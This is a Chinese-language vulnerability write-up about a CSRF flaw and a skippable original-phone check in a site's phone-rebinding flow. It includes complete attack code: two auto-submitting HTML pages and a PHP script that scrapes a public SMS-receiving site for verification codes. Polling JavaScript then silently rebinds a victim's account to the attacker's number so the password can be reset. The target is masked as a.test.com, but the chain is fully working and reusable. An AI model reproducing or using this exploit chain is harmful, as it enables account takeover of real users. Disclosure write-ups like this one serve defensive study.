0x01 漏洞描述
- 网站铭感操作没有添加csrf_token
- 并且手机绑定流程可被绕过
- 用户可被钓鱼修改手机号码,从而导致用户密码给重置
0x02 漏洞讲解
功能点: 用户手机号码修改
正常的绑定流程:
- 用户点击修改手机号码
- 自动向原手机号码发送短信
- 用户输入原手机接收到的短信验证码
- 确定正确以后,后端设置一个用于绑定新手机的session
- 然后跳转/打开绑定手机的窗口
- 用户输入新手机号码
- 获取新手机号码验证码
- 用户提交验证码
- 后端先判断是否通过了原手机验证,然后在验证现手机号码是否正确
- 如果通过则修改当前用户手机号码
该厂商绑定流程
- 用户点击修改手机号码
- 自动向手机号码发送短信
- 用户输入原手机接收到的短信验证码
- 确定正确以后直接跳转绑定手机的窗口
- 用户输入新手机号码
- 获取新手机号码验证码
- 用户提交验证码
- 后端判断现手机号码是否正确
- 如果通过则修改当前用户手机号码
通过我这个简单的梳理可以看到
厂商没有在绑定新手机号时在次验证一次原手机号码是否通过,导致我们可以直接调用绑定手机号码的接口,而忽略验证接口,最终导致用户给修改了手机号码
0x03 漏洞简单演示
注: 文章中的项目地址统一修改为: a.test.com 保护厂商也保护自己
整个绑定过程中有3个接口分别是
https://a.test.com/user/info/send_code 发送短信的接口
https://a.test.com/user/info/check_bind_phone 验证原手机号码是否正确的接口
https://a.test.com/user/info/modify_bind_phone 绑定新手机号码的接口
值得一提的是这个站点所有的验证码都是 https://a.test.com/user/info/send_code 这个接口
所以其实存在大量的短信验证码覆盖问题
例如说:
绑定手机获取的验证码可以用在手机找回处
好了多的不说了

我们可以直接写一个脚本
攻击方:
准备一台外网服务器:127.0.0.1
创建页面一: send_code.html
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>点我发送验证码~</title><script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script><script src="http://cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js"></script></head><body><form action="https://a.test.com/user/info/send_code" method="post"><input type="hidden" value="17157727034" name="mobile"><input type="submit" name="小帅哥快来玩啊" id="send_code" style="display:none;"></form></body></html><script>if ($.cookie('csrf_test') != 'ok') {$.cookie('csrf_test', 'ok');$("#send_code").click(function () {window.open("http://127.0.0.1/modify_bind_phone.html");});$("#send_code").click();} else {$.cookie('csrf_test', null);window.opener = null;// JS重写当前页面window.open("", "_self", "");// 顺理成章的关闭当前被重写的窗口window.close();}</script>
创建页面二: modify_bind_phone.html
<!DOCTYPE html><html><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta http-equiv="X-UA-Compatible" content="ie=edge" /><title>我~修改你绑定手机号码</title><script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script></head><body><form action="https://a.test.com/user/info/modify_bind_phone" method="post"><input type="hidden" value="17157727034" name="mobile" /><input type="hidden" value="" name="code" id="code" /><input type="submit" name="点我瞬间爆炸" style="display:none;" id="modify_bind_phone" /></form><script>i = 1setInterval(function(){$.ajax({type: "GET",url: "http://127.0.0.1/file_get.php",dataType: "json",data: {},success: function(data){if (data != false) {$('#code').val(data)code = $('#code').val()if (code !== '') {$("#modify_bind_phone").click()}}},error: function(){alert("我。。。可能不行了")}})console.log('第'+i+'次执行')i++},500)</script></body></html>
创建php脚本获取验证码: file_get.php
<?phpfunction curlRequest($url) {$curl = curl_init();//设置抓取的urlcurl_setopt($curl, CURLOPT_URL, $url);//设置头文件的信息作为数据流输出curl_setopt($curl, CURLOPT_HEADER, 0);//设置获取的信息以文件流的形式返回,而不是直接输出。curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//重要!curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hostscurl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //模拟浏览器代理//执行命令$data = curl_exec($curl);//关闭URL请求curl_close($curl);return $data;}/*** 模糊搜索数组* $data 数组* $key 匹配字符串**/function arrlikes($data, $key) {$arr = array();foreach ($data as $k => $v) {if (strstr($v, $key) !== false) {array_push($arr, $v);}}return $arr;}$content = curlRequest('https://www.pdflibr.com/SMSContent/48');preg_match_all('/<td>(.*?)<\/td>/', $content, $match);foreach ($match[0] as $key => $value) {if (($key + 1) % 3 == 0) {$arr[] = $value;}}$data = arrlikes($arr, '【我是厂商】您的验证码是:');$data = $data[0];$data = str_replace('<td> 【我是厂商】您的验证码是:', '', $data);$data = str_replace('。有效期10分钟,请勿泄露给他人! </td>', '', $data);if ($data === '') {echo 'false';} else {echo trim($data);}
设置好这3个以后发送链接给受害者:http://127.0.0.1/send_code.html
受害者打开,代码执行
需要注意的是: 这里我使用了免费的在线接码平台https://www.pdflibr.com
帮我接码其中绑定的手机是: 17157727034
然后攻击者通过找回密码的功能即可重置用户密码
最终使用账号: 17157727034 加上刚刚重置的密码即可登录
0x04 脚本思路讲解
我的思路很简单就是先发给用户一个url: http://127.0.0.1/send_code.html
当用户打开的时候
这个html会干两件事情
- 自动打开一个新界面: http://127.0.0.1/csrf/modify_bind_phone.html
- 模拟点击事件调用厂商平台获取绑定手机验证码的接口
接着被打开的界面: modify_bind_phone.html
也会干两件事
- 死循环每0.5S请求接口: http://127.0.0.1/csrf/file_get.php 查看是否获取到了验证码
- 当获取到验证码时模拟点击事件发送绑定新手机号码的请求
最终用户即可点击我们的一个链接就给强制绑定一个新手机号码,然后我们就可以通过找回密码,重置用户登录密码
